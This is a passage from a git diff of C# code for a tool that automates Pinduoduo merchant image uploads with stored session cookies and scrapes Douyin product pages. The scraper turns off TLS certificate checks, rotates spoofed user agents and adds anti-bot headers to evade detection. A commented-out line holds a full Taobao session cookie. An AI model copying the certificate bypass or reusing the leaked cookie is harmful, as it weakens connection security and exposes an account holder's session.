"https://mms.pinduoduo.com/chat-merchant/index.html"; + // html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", Shop.Cookies); + // //url = "https://mms.pinduoduo.com/plateau/file/pre_upload"; + // //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{\"chat_type_id\":1,\"file_usage\":1}", Shop.Cookies);//upload_signature + //} + if (html.Contains("signature")) + { + string sign = BaseRegex.GetStringJson(ref html, "signature"); + if (string.IsNullOrEmpty(sign)) + { + return ""; + } + string data = + "{\"upload_sign\":\"" + sign + "\",\"image\":\"data:image/jpeg;base64," + + Convert.ToBase64String(img) + "\"}"; + url = "https://file.yangkeduo.com/v2/store_image"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + imgUrl = BaseRegex.GetStringJson(ref html, "url"); + } + if (string.IsNullOrEmpty(imgUrl)) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + Thread.Sleep(3000); + Thread.Sleep(1000); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + } + } + if (!string.IsNullOrEmpty(imgUrl)) + { + LogSave.Add(Name, "上传图片:" + imgUrl); + if (hadUp) + { + if (!picUped.ContainsKey(urlId)) + picUped.Add(urlId, imgUrl); + if (!picsTemp.ContainsKey(urlId)) + { + try + { + picsTemp.Add(urlId, imgUrl); + } + catch + { + } + } + } + } + LogSave.Add(Name, "上传图片:" + imgUrl); + return imgUrl; + } + + + private string HttpPostDataImage(string url, int timeOut, string fileKeyName, string fileName, byte[] file, string sign, string referer) + { + string responseContent = ""; + string cookie = Shop.Cookies; + if (string.IsNullOrEmpty(cookie)) + { + return ""; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundary2yjyehYBjxWIyeiH"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + // 边界符 + var secondBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n"); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.KeepAlive = true; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + webRequest.Referer = referer; + webRequest.Accept = "*/*"; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + webRequest.Headers.Add("Cookie", cookie); + webRequest.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + webRequest.Headers.Add("Sec-Fetch-Site", @"same-site"); + webRequest.Headers.Add("Sec-Fetch-Mode", @"cors"); + webRequest.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + webRequest.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + webRequest.Headers.Set(HttpRequestHeader.Cookie, cookie); + webRequest.ServicePoint.Expect100Continue = false; + + + string first = + "Content-Disposition: form-data; name=\"{0}\";\r\n\r\n" + sign + "\r\n"; + var firstheader = string.Format(first, "upload_sign"); + var firstheaderbytes = Encoding.UTF8.GetBytes(firstheader); + + + + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + var header = string.Format(filePartHeader, fileKeyName, fileName); + + //string temp = "--" + boundary+"\r\n"+ firstheader +"--" + boundary + "\r\n"+ header; + var headerbytes = Encoding.UTF8.GetBytes(header); + + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(firstheaderbytes, 0, firstheaderbytes.Length); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + + // 写入文件 + memStream.Write(file, 0, file.Length); + + + // 写入文件 + string endPartHeader = + "Content-Disposition: form-data; name=\"pic_operations\"\r\n\r\n"; + var endheaderbytes = Encoding.UTF8.GetBytes(endPartHeader); + + memStream.Write(secondBoundary, 0, secondBoundary.Length); + memStream.Write(endheaderbytes, 0, endheaderbytes.Length); + + var stringKeyHeader2 = "{\"rules\":[{\"rule\":\"imageMogr2/format/jpeg/quality/80|imageView2/2/w/2000/h/2000\"}]}\r\n"; + byte[] formbytes = Encoding.UTF8.GetBytes(stringKeyHeader2); + memStream.Write(formbytes, 0, formbytes.Length); + + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + + webRequest.ContentLength = memStream.Length; + using (Stream stream = webRequest.GetRequestStream()) + { + memStream.WriteTo(stream); + } + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + if (httpWebResponse != null) + { + if (string.IsNullOrEmpty(responseContent)) + responseContent = ReadResponsex(httpWebResponse); + httpWebResponse.Close(); + } + return responseContent; + } + /// + /// 发送post请求 + /// + /// + /// + /// + /// + /// + /// + private string HttpPostData(string url, int timeOut, string fileKeyName, string fileName, byte[] file, NameValueCollection stringDict, string referer) + { + string responseContent; + string cookie = Shop.Cookies;// BaseClass.CookiesAllString.ContainsKey("taobao.com") ? BaseClass.CookiesAllString["taobao.com"] : ""; + if (string.IsNullOrEmpty(cookie)) + { + return ""; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundaryHnaq59TH4KqN8876"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + //var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.Timeout = timeOut; + webRequest.Proxy = null; + webRequest.ReadWriteTimeout = timeOut; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + if (string.IsNullOrEmpty(referer)) + referer = "https://tadget.taobao.com/redaction/manager.htm"; + webRequest.Referer = referer; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + //webRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; + webRequest.Headers.Add("Cookie", cookie); + //webRequest.Headers.Add("Cookie", "v=0; cookie2=19bb7096a84354a4c14f57b3b139b358; _tb_token_=371a6e3e53673; existShop=MTQ5NTA4NzEwNQ%3D%3D; skt=07be2c7a4d43d4e3; publishItemObj=Ng%3D%3D; t=cdd5be62cd6b4e78434311371fbd7ff9; uc3=sg2=UtABdWdeGfXD%2FQkzzQhDSLQGa8sMw6MWHGmZA5%2Fz1oY%3D&nk2=G4mgLCefCRJZu5RKow%3D%3D&id2=W8nWsIU9pmPl&vt3=F8dARVDUXtcYdighsV4%3D&lg2=VFC%2FuZ9ayeYq2g%3D%3D; tracknick=xiaotui930904; _cc_=UIHiLt3xSw%3D%3D; tg=0; thw=cn; ali_ab=36.7.115.240.1486373819164.2; miid=805014732159802464; mt=np=&ci=1_1&cyk=2_0; hng=CN%7Czh-CN%7CCNY; cna=FBaXEKHXWGsCASQ5jXreM7Bn; l=Alpa9EIFIfaqKZPIW3nvwNBw6g58A95l; isg=AoGB_EtuvM235dDxcXm4k6uxmM2obfWgjhNWjuPW9AjnyqCcK_uCcC2I-ody; lgc=xiaotui930904; uss=BxExuOuBMGTSmmLusncTQzrc54qNGyvc44m3KpvMw%2FDqvz12lH2jkCfx; _m_user_unitinfo_=unit|unsz; _m_h5_tk=0e98a920393ab7ef74949cb428e8cbf8_1495072723582; _m_h5_tk_enc=c01cbddf709302868d28a398ddc7a464; _m_unitapi_v_=1492572565585; uc1=cookie14=UoW%2BvfobS%2FYyFQ%3D%3D&lng=zh_CN&cookie16=UtASsssmPlP%2Ff1IHDsDaPRu%2BPw%3D%3D&existShop=true&cookie21=UIHiLt3xSixwH1aenGUFEQ%3D%3D&tag=8&cookie15=WqG3DMC9VAQiUQ%3D%3D&pas=0; sg=482; cookie1=AVZ7NzilkILAckSZh3aH1rY3cLn%2F1CTS%2FTys%2FR09hPk%3D; unb=802158228; _l_g_=Ug%3D%3D; _nk_=xiaotui930904; cookie17=W8nWsIU9pmPl; JSESSIONID=3667ED995D0FA3DF2C4B9D2848FBECFB; apushcff39d705ee654f2389a8c5fb80067dd=%7B%22ts%22%3A1495087171963%2C%22parentId%22%3A1495087120835%7D"); + //webRequest.Headers.Add("X-Requested-With", "ShockwaveFlash/23.9.9.999"); + //webRequest.Headers.Add("x-flash-version", "25,0,0,148"); + + + //if (string.IsNullOrEmpty(ShopName)) + // ShopName = BaseClass.ShopName; + //if (string.IsNullOrEmpty(ShopName)) + //{ + // ShopName = BaseRegex.GetMatchRegexString(ref cookie, "_nk_=([^;]+);"); + //} + // 写入文件 + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + if (url.Contains("s.taobao.com/image")) + { + filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + } + var header = string.Format(filePartHeader, fileKeyName, fileName); + var headerbytes = Encoding.UTF8.GetBytes(header); + + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + + //while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0) + //{ + // memStream.Write(buffer, 0, bytesRead); + //} + memStream.Write(file, 0, file.Length); + + // 写入字符串的Key + var stringKeyHeader = "\r\n--" + boundary + + "\r\nContent-Disposition: form-data; name=\"{0}\"" + + "\r\n\r\n\r\n"; + + foreach (byte[] formitembytes in from string key in stringDict.Keys + select string.Format(stringKeyHeader, key, stringDict[key]) + into formitem + select Encoding.UTF8.GetBytes(formitem)) + { + memStream.Write(formitembytes, 0, formitembytes.Length); + } + + //var stringKeyHeader2 = "{\"rules\":[{\"rule\":\"imageMogr2/format/jpeg/quality/80|imageView2/2/w/2000/h/2000\"}]}"; + //byte[] formbytes = Encoding.UTF8.GetBytes(stringKeyHeader2); + //memStream.Write(formbytes, 0, formbytes.Length); + + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + + webRequest.ContentLength = memStream.Length; + + var requestStream = webRequest.GetRequestStream(); + + memStream.Position = 0; + var tempBuffer = new byte[memStream.Length]; + memStream.Read(tempBuffer, 0, tempBuffer.Length); + memStream.Close(); + + requestStream.Write(tempBuffer, 0, tempBuffer.Length); + requestStream.Close(); + + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + + using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(), + Encoding.GetEncoding("utf-8"))) + { + responseContent = httpStreamReader.ReadToEnd(); + } + + httpWebResponse.Close(); + webRequest.Abort(); + + return responseContent; + } + + + /// + /// 发送post请求 + /// + /// + /// + /// + /// + /// + /// + private string HttpPostData(string url, int timeOut, string fileKeyName, string fileName, byte[] file, string referer) + { + string pjtoken; + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + pjtoken = WhiteBaseMap.ShopToken[Shop.ShopName]; + } + else + { + pjtoken = GetToken(); + } + bool falg = true; + Again: + string cookie = Shop.Cookies;// BaseClass.CookiesAllString.ContainsKey("taobao.com") ? BaseClass.CookiesAllString["taobao.com"] : ""; + cookie += "ptj_token="+ pjtoken + ""; + if (string.IsNullOrEmpty(cookie)) + { + return ""; + } + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundaryPVCVkeltmosCsFhB"; + // 设置属性 + webRequest.KeepAlive = true; + webRequest.Method = "POST"; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + webRequest.Referer = referer; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + webRequest.Accept = "*/*"; + webRequest.Headers.Add("Anti-Content", CpsSetAllGoods.getAnti0aon()); + webRequest.Headers.Add("Origin", @"https://aid.pinduoduo.com"); + webRequest.Headers.Add("Sec-Fetch-Site", @"same-origin"); + webRequest.Headers.Add("Sec-Fetch-Mode", @"cors"); + webRequest.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + webRequest.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + webRequest.Headers.Set(HttpRequestHeader.Cookie, cookie); + webRequest.ServicePoint.Expect100Continue = false; + + + var memStream = new MemoryStream(); + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary+"\r\n"); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "--"); + // 写入文件 + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + + var header = string.Format(filePartHeader, fileKeyName, fileName); + var headerbytes = Encoding.UTF8.GetBytes(header); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + memStream.Write(file, 0, file.Length); + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + webRequest.ContentLength = memStream.Length; + using (Stream stream = webRequest.GetRequestStream()) + { + memStream.WriteTo(stream); + } + //memStream.Position = 0; + //var tempBuffer = new byte[memStream.Length]; + //memStream.Read(tempBuffer, 0, tempBuffer.Length); + //memStream.Close(); + + //requestStream.Write(tempBuffer, 0, tempBuffer.Length); + //requestStream.Close(); + string responseText = ""; + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + + if (httpWebResponse != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponsex(httpWebResponse); + httpWebResponse.Close(); + } + if (responseText.Contains("\"success\":false") &&falg) + { + falg = false; + pjtoken = GetToken(); + goto Again; + } + return responseText; + } + public string GetToken() + { + string urlxm = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + string referem = "https://mms.pinduoduo.com/goods/goods_materials?tab=0"; + string dataxm = "{\"mallId\":" + Shop.MallId + ",\"redirectUrl\":\"https://aid.pinduoduo.com\"}"; + string htmlxm = WhiteBaseMapInstance.Request_mms_pinduoduo_com(urlxm, urlxm, Shop.Cookies, dataxm, WhiteBaseMapInstance.getAnti0aon()); //GetPostTaobaoHtml.GetJsonPost(urlxm, referem, true, dataxm, Shop.Cookies); + string accessToken = BaseRegex.GetStringJson(ref htmlxm, "accessToken"); + string cookies = "ptj_token=" + accessToken + ";"; + htmlxm = WhiteBaseMapInstance.GetJsonPostURL("https://aid.pinduoduo.com/auth?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Ftools%2Fmatting%3Forigin%3Dgoods_material&accessToken=" + accessToken, "", true, "", cookies); + string pjtoken = BaseRegex.GetMatchRegexString(ref htmlxm, "ptj_token=([^;]+?);"); + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopToken[Shop.ShopName] = pjtoken; + } + else + { + WhiteBaseMap.ShopToken.Add(Shop.ShopName, pjtoken); + } + return pjtoken; + } + public static string ReadResponsex(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + public string UploadImgCut(ref byte[] img, long goodId) + { + if (img == null || img.Length == 0) + return ""; + //if (ImageTemp.ContainsKey(beforUrl)) + // return ImageTemp[beforUrl].Url; + string imgUrl = "", html; + if (BaseClass.UseApiFirst) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + Thread.Sleep(3000); + Thread.Sleep(1000); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + } + if (!string.IsNullOrEmpty(imgUrl)) + LogSave.Add(Name, "上传图片:" + imgUrl); + return imgUrl; + } + //string url = "https://mms.pinduoduo.com/earth/api/upload/getSignature"; + //string refere = "https://mms.pinduoduo.com/goods/goods_add/index?id=5146155709&type=edit&from=category"; + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{}", Shop.Cookies); + string url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{\"bucket_tag\":\"pdd_goods\"}", Shop.Cookies); + + string sign = BaseRegex.GetStringJson(ref html, "signature"); + if (string.IsNullOrEmpty(sign)) + { + return ""; + } + string data = + "{\"upload_sign\":\"" + sign + "\",\"image\":\"data:image/jpeg;base64," + + Convert.ToBase64String(img) + "\"}"; + url = "https://file.yangkeduo.com/v2/store_image"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + imgUrl = BaseRegex.GetStringJson(ref html, "url"); + if (string.IsNullOrEmpty(imgUrl)) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + Thread.Sleep(3000); + Thread.Sleep(1000); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + } + if (!string.IsNullOrEmpty(imgUrl)) + LogSave.Add(Name, "上传图片:" + imgUrl); + return imgUrl; + } + //LogSave.Add(Name, "上传白底图:" + imgUrl); + string upUrl = BaseRegex.GetStringJson(ref html, "url"); + url = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + data = "{\"content\":\"" + upUrl + "\",\"goods_id\":" + goodId + ",\"type\":1}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + return html; + } + /// + /// + /// 添加到缓存 + /// + /// + /// + public static void AddImage(string key, string url, int width, int height) + { + if (string.IsNullOrEmpty(url)) + return; + if (ImageTemp.ContainsKey(key) && url.Contains("http:")) + ImageTemp[key] = new ImageUrlBase(url, width, height); + if (ImageTemp.ContainsKey(key) || string.IsNullOrEmpty(key) || string.IsNullOrEmpty(url)) + return; + try + { + ImageTemp.Add(key, new ImageUrlBase(url, width, height)); + } + catch + { + } + } + + public static string ReplaceTitle(string title) + { + string[] l = @"([\d\.]+[\s*]+元) +qq +预售 +限量 +".Split('\n'); + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + string m = s.Trim(); + if (m.Contains("(")) + BaseRegex.Relpace(ref title, m, ""); + else + title = title.Replace(m, ""); + } + return title; + } + + } + public class CutImage + { + public long goodsId; + public string url; + public string Name; + public ShopChatBase Shop; + public CutImage(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + public void CutImageVaule() + { + try + { + byte[] imageByte = new byte[0]; + GetPostTaobaoHtml.DownLoadImage(url, out imageByte); + ImageBuild ib = new ImageBuild(imageByte); + if (ib.Width < 480 || ib.Width > 1500 || ib.Height < 480 || ib.Height > 1500) + { + LogSave.Add(Name, goodsId + "白底图大小不合适,跳过"); + return; + } + bool isflag = ib.ImageCuteNoLogo(); + if (!isflag) + return; + if (ib.Width != 480 || ib.Height != 480) + imageByte = ib.BuildNewSize(480, 480, 500, 100); + string html = UploadImgCut(ref imageByte, goodsId); + if (html.Contains("false")) + LogSave.Add(Name, goodsId + "上传白底图失败"); + else + LogSave.Add(Name, goodsId + "上传白底图成功"); + } + catch + { + + } + } + + public string UploadImgCut(ref byte[] img, long goodId) + { + if (img == null || img.Length == 0) + return ""; + //if (ImageTemp.ContainsKey(beforUrl)) + // return ImageTemp[beforUrl].Url; + string imgUrl = "", html; + //if (BaseClass.UseApiFirst) + //{ + // PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + // html = p.UploadImage(img); + // imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + // if (string.IsNullOrEmpty(imgUrl)) + // { + // if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + // Thread.Sleep(3000); + // Thread.Sleep(1000); + // html = p.UploadImage(img); + // imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + // } + // if (!string.IsNullOrEmpty(imgUrl)) + // LogSave.Add(Name, "上传图片:" + imgUrl); + // return imgUrl; + //} + //string url = "https://mms.pinduoduo.com/earth/api/upload/getSignature"; + //string refere = "https://mms.pinduoduo.com/goods/goods_add/index?id=5146155709&type=edit&from=category"; + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{}", Shop.Cookies); + string url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{\"bucket_tag\":\"mms-material-img\"}", Shop.Cookies);//"{\"bucket_tag\":\"pdd_goods\"}" + + string sign = BaseRegex.GetStringJson(ref html, "signature"); + if (string.IsNullOrEmpty(sign)) + { + return ""; + } + string data = + "{\"upload_sign\":\"" + sign + "\",\"image\":\"data:image/jpeg;base64," + + Convert.ToBase64String(img) + "\"}"; + url = "https://file.yangkeduo.com/v2/store_image"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + imgUrl = BaseRegex.GetStringJson(ref html, "url"); + if (string.IsNullOrEmpty(imgUrl)) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + Thread.Sleep(3000); + Thread.Sleep(1000); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + } + if (!string.IsNullOrEmpty(imgUrl)) + LogSave.Add(Name, "上传图片:" + imgUrl); + } + string pjtoken = ""; + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + pjtoken = WhiteBaseMap.ShopToken[Shop.ShopName]; + } + else + { + pjtoken = GetToken(); + } + + string cookie = Shop.Cookies;// BaseClass.CookiesAllString.ContainsKey("taobao.com") ? BaseClass.CookiesAllString["taobao.com"] : ""; + cookie += "ptj_token=" + pjtoken + ""; + string temp = ",{\"imageUrl\":\"" + imgUrl + "\",\"goodsId\":\"" + goodId + "\"}"; + url = "https://aid.pinduoduo.com/api/banner-intelligent/matting/save"; + data = "{\"images\":[" + temp.Substring(1, temp.Length - 1) + "],\"white\":true}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookie); + if (!html.Contains("\"success\":true,")) + { + pjtoken = GetToken(); + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookie); + } + if (!html.Contains("\"success\":true,")) + return "false"; + + url = "https://mms.pinduoduo.com/garner/mms/file/list"; + refere = "https://mms.pinduoduo.com/goods/goods_materials"; + data = "{\"file_type_desc\":\"pic\",\"file_name\":\"" + goodId + "\",\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"check_status_list\":[2]}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + + string upUrl = BaseRegex.GetStringJson(ref html, "url"); + string id = BaseRegex.GetStringJson(ref html, "id"); + url = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + data = "{\"content\":\"" + upUrl + "\",\"goods_id\":" + goodId + ",\"type\":1,\"mall_file_id\":"+id+",\"source\":4}"; //"{\"content\":\"" + upUrl + "\",\"goods_id\":" + goodId + ",\"type\":1}"; + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + return html; + } + public string GetToken() + { + string urlxm = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + string referem = "https://mms.pinduoduo.com/goods/goods_materials?tab=0"; + string dataxm = "{\"mallId\":" + Shop.MallId + ",\"redirectUrl\":\"https://aid.pinduoduo.com\"}"; + string htmlxm = WhiteBaseMapInstance.Request_mms_pinduoduo_com(urlxm, urlxm, Shop.Cookies, dataxm, WhiteBaseMapInstance.getAnti0aon()); //GetPostTaobaoHtml.GetJsonPost(urlxm, referem, true, dataxm, Shop.Cookies); + string accessToken = BaseRegex.GetStringJson(ref htmlxm, "accessToken"); + string cookies = "ptj_token=" + accessToken + ";"; + htmlxm = WhiteBaseMapInstance.GetJsonPostURL("https://aid.pinduoduo.com/auth?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Ftools%2Fmatting%3Forigin%3Dgoods_material&accessToken=" + accessToken, "", true, "", cookies); + string pjtoken = BaseRegex.GetMatchRegexString(ref htmlxm, "ptj_token=([^;]+?);"); + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopToken[Shop.ShopName] = pjtoken; + } + else + { + WhiteBaseMap.ShopToken.Add(Shop.ShopName, pjtoken); + } + return pjtoken; + } + } +} diff --git a/Work/BLL/Collect/HaoWuCollectBLL.cs b/Work/BLL/Collect/HaoWuCollectBLL.cs new file mode 100644 index 0000000..9a0e8ec --- /dev/null +++ b/Work/BLL/Collect/HaoWuCollectBLL.cs @@ -0,0 +1,167 @@ +using AllBase.Model.Result; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Work.BLL.Collect +{ + /// + /// 抖音好物采集 + /// + public class HaoWuCollectBLL + { + private static bool CheckValidationResult(object sender, object certificate, object chain, SslPolicyErrors errors) => true; // 总是接受 + + public static string getHtml_fxg_20201220(string url, string cookies, string ip = "") + { + string str = ""; + try + { + int num = 0; + while (num < 3) + { + try + { + HttpWebRequest request = null; + if (!url.StartsWith("https", StringComparison.OrdinalIgnoreCase)) + { + request = WebRequest.Create(url) as HttpWebRequest; + } + else + { + ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(CheckValidationResult); + request = WebRequest.Create(url) as HttpWebRequest; + request.ProtocolVersion = HttpVersion.Version10; + } + request.Timeout = 25000; + request.ReadWriteTimeout = 25000; + request.Method = "Get"; + request.ContentType = "application/json; charset=utf-8"; + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"; + if ((DateTime.Now.Second % 5) == 0) + { + request.UserAgent = "com.ss.android.ugc.aweme/140001 (Linux; U; QuicVersion:47946d2a 2020-10-14)"; + } + else if ((DateTime.Now.Second % 5) == 1) + { + request.UserAgent = "Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3"; + } + else if ((DateTime.Now.Second % 5) == 2) + { + request.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3"; + } + else if ((DateTime.Now.Second % 5) == 3) + { + request.UserAgent = "Mozilla/5.0 (Linux; Android 10; TAS-AL00 Build/HUAWEITAS-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045120 Mobile Safari/537.36 V1_AND_SQ_8.2.7_1334_YYB_D QQ/8.2.7.4410 NetType/WIFI WebP/0.3.0 Pixel/1080 StatusBarHeight/81 SimpleUISwitch/0"; + } + else if ((DateTime.Now.Second % 5) == 4) + { + request.UserAgent = "Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 3 Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 6.0.1)"; + } + request.Host = new Uri(url).Host; + if (cookies.Trim() != "") + { + request.Headers.Add("Cookie", cookies); + } + request.Headers.Add("x-agw-info", "w6S2IHH6-wDuuvNtk2hidFD2MalfJTaURnf6XobYTqjSXcFmCxT79rJjYPudFSWQKnvYl1_OuIsDwtMtheGHihJf4OgPYQqcLNzPkIgpYAEbkfMAvBCAm1gY6uOq0Q_7DbfFOJAMQRGwDEkbVSLUxQSX5cc0hIkwhm36AUf0CflSXVno"); + request.Headers.Add("x-tt-logid", "2020122015563901002902921706016162"); + request.Headers.Add("x-tt-trace-host", "010c04b40779d7ea1251fcddf2faf54650937df4831d71a387846d4b65371bb93d891684d9895d083828b415698988c161a98e8e3579dfbba439a0f3317851b468507df11e82922352c8b013941f82ea53"); + request.Headers.Add("x-trans-level", "0"); + request.Headers.Add("x-tt-trace-tag", "id=3;cdn-cache=miss"); + char[] separator = new char[] { ':' }; + string[] strArray = ip.Split(separator); + char[] chArray2 = new char[] { '.' }; + string[] strArray2 = ip.Split(chArray2); + if (((ip.Trim() != "") && ((strArray.Length == 2) && (ip.IndexOf(".") > 0))) && (strArray2.Length == 4)) + { + request.Proxy = new WebProxy(strArray[0], Convert.ToInt32(strArray[1].Trim())); + } + Encoding encoding = 